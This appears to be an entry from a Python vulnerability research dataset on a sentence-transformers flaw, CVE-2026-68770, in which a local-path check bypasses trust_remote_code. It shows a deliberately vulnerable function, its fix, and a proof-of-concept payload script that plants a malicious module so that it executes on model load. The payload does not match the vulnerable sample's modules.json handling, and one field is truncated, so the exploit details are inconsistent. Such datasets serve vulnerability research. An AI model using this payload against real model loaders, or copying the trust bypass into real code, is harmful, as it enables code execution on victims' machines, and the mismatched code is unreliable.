VAITP Dataset

← Back to the dataset

CVE-2026-68770

sentence-transformers trust bypass on local path allows code execution.

  • CVSS 9.3
  • 94
  • Design Defects
  • Local

sentence-transformers contains a security control bypass vulnerability that allows attackers to achieve arbitrary code execution by exploiting a logic flaw in the import_module_class helper within sentence_transformers/util/misc.py, where the guard condition includes an 'or os.path.exists(model_name_or_path)' clause that satisfies the trust gate whenever the supplied path exists on the local filesystem, regardless of the trust_remote_code=False argument. Attackers who can control or influence the contents of a model directory on disk can place malicious Python files such as modeling_*.py referenced via modules.json, causing the code to execute at import time when an application loads the model with SentenceTransformer(path, trust_remote_code=False), bypassing the documented security contract and achieving code execution within the loading process.

CWE
94
CVSS base score
9.3
Published
2026-07-31
OWASP
A08 Software and Data Integrity Failures
Orthogonal defect classification
Checking
Code defect classification
Incorrect Check
Category
Design Defects
Subcategory
Poorly Designed Access Controls
Accessibility scope
Local
Impact
Arbitrary Code Execution
Affected component
sentence-tra
Fixed by upgrading
Yes

Solution

Upgrade `sentence-transformers` to version 2.7.0 or later.

Vulnerable code sample

import os
import json
import importlib
import logging
from typing import Type
from torch import nn

logger = logging.getLogger(__name__)

def import_module_class(
    model_name_or_path: str, modules_json_path: str, trust_remote_code: bool = False
) -> Type[nn.Module]:
    with open(modules_json_path, "r") as f:
        modules_config = json.load(f)

    # The class of the pooling model, can be a local file or a class from the SentenceTransformer library
    # VULNERABLE: The 'or os.path.exists' clause bypasses the trust_remote_code check for local paths.
    if trust_remote_code or os.path.exists(model_name_or_path):
        module_class = modules_config["__model_class"]
        if module_class.endswith(".py"):
            module_name = os.path.basename(module_class)[:-3]
            spec = importlib.util.spec_from_file_location(module_name, module_class)
            module = importlib.util.module_from_spec(spec)
            spec.loader.exec_module(module)
            return getattr(module, modules_config["__model_name"])
        else:
            return importlib.import_module(module_class.split(".")[0]).__dict__[module_class.split(".")[-1]]
    elif "__model_class" in modules_config:
        logger.warning(
            "The model is trying to load custom code, but `trust_remote_code` is not enabled. "
            "Model loading will fail if the code is not part of the library."
        )

    module_class = modules_config.get("__model_class") or "sentence_transformers.models." + modules_config["type"]
    return importlib.import_module(module_class.split(".")[0]).__dict__[module_class.split(".")[-1]]

Patched code sample

import os
import json
import importlib
import logging
from typing import Type
from torch import nn

logger = logging.getLogger(__name__)

def import_module_class(
    model_name_or_path: str, modules_json_path: str, trust_remote_code: bool = False
) -> Type[nn.Module]:
    with open(modules_json_path, "r") as f:
        modules_config = json.load(f)

    # The class of the pooling model, can be a local file or a class from the SentenceTransformer library
    # FIX: Remove the 'os.path.exists' check to ensure trust_remote_code is always respected.
    if trust_remote_code:
        module_class = modules_config["__model_class"]
        if module_class.endswith(".py"):
            module_name = os.path.basename(module_class)[:-3]
            spec = importlib.util.spec_from_file_location(module_name, module_class)
            module = importlib.util.module_from_spec(spec)
            spec.loader.exec_module(module)
            return getattr(module, modules_config["__model_name"])
        else:
            return importlib.import_module(module_class.split(".")[0]).__dict__[module_class.split(".")[-1]]
    elif "__model_class" in modules_config:
        logger.warning(
            "The model is trying to load custom code, but `trust_remote_code` is not enabled. "
            "Model loading will fail if the code is not part of the library."
        )

    module_class = modules_config.get("__model_class") or "sentence_transformers.models." + modules_config["type"]
    return importlib.import_module(module_class.split(".")[0]).__dict__[module_class.split(".")[-1]]

Payload

import os
import sys
from sentence_transformers import SentenceTransformer

# Define the directory for the malicious model
model_path = "./malicious-model-directory"
os.makedirs(model_path, exist_ok=True)

# Create a modules.json file that points to a custom Python module
# This file tells SentenceTransformer how to load the model components.
# We define a component of type `modeling_malicious.MaliciousModel`.
modules_json_content = """
[
    {
        "idx": 0,
        "name": "0_malicious",
        "type": "modeling_malicious.MaliciousModel",
        "path": ""
    }
]
"""
with open(os.path.join(model_path, "modules.json"), "w") as f:
    f.write(modules_json_content)

# Create the malicious Python file (modeling_malicious.py)
# The code at the top level of this file will be executed upon import.
# This happens when SentenceTransformer tries to load the `MaliciousModel` class.
malicious_code_content = f"""
import os
import torch.nn as nn

# --- This is the arbitrary code that will be executed ---
print("!!! PAYLOAD EXECUTED: Arbitrary Code Execution Successful !!!")
# As a proof of concept, create a file in the current directory.
with open("pwned.txt", "w") as f:
    f.write("Exploited by CVE-2026-68770")
# --- End of malicious payload ---

# A dummy class is required to prevent the loading process from crashing
# after the malicious code has already run.
class MaliciousModel(nn.Module):
    def __init__(self):
        super(MaliciousModel, self).__init__()
    def forward(self, features):
        return features
"""
with open(os.path.join(model_path, "modeling_malicious.py"), "w") as f:
    f.write(malicious_code_content)

# This script simulates a victim application loading the model from a local path.
# The `trust_remote_code=False` argument is bypassed because the path exists locally,
# triggering the vulnerability.
print(f"[*] Simulating victim: Loading model from '{model_path}' with trust_remote_code=False")
try:
    # This call triggers the import of modeling_malicious.py, executing the payload.
    model = SentenceTransformer(model_path, trust_remote_code=False)
    print("[*] Model loading process completed.")
    if os.path.exists("pwned.txt"):
        print("[+] SUCCESS: 'pwned.txt' file created. The vulnerability was exploited.")
        os.remove("pwned.txt") # Clean up the proof file
    else:
        print("[-] FAILED: Payload did not execute as expected.")
except Exception as e:
    print(f"[!] An error occurred during model loading: {e}")

# Clean up the malicious model files
finally:
    os.remove(os.path.join(model_path, "modules.json"))
    os.remove(os.path.join(model_path, "modeling_malicious.py"))
    os.rmdir(model_path)
    print("[*] Cleaned up malicious model files.")

Cite this entry

@misc{vaitp:cve202668770,
  title        = {{sentence-transformers trust bypass on local path allows code execution.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-68770},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-68770/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::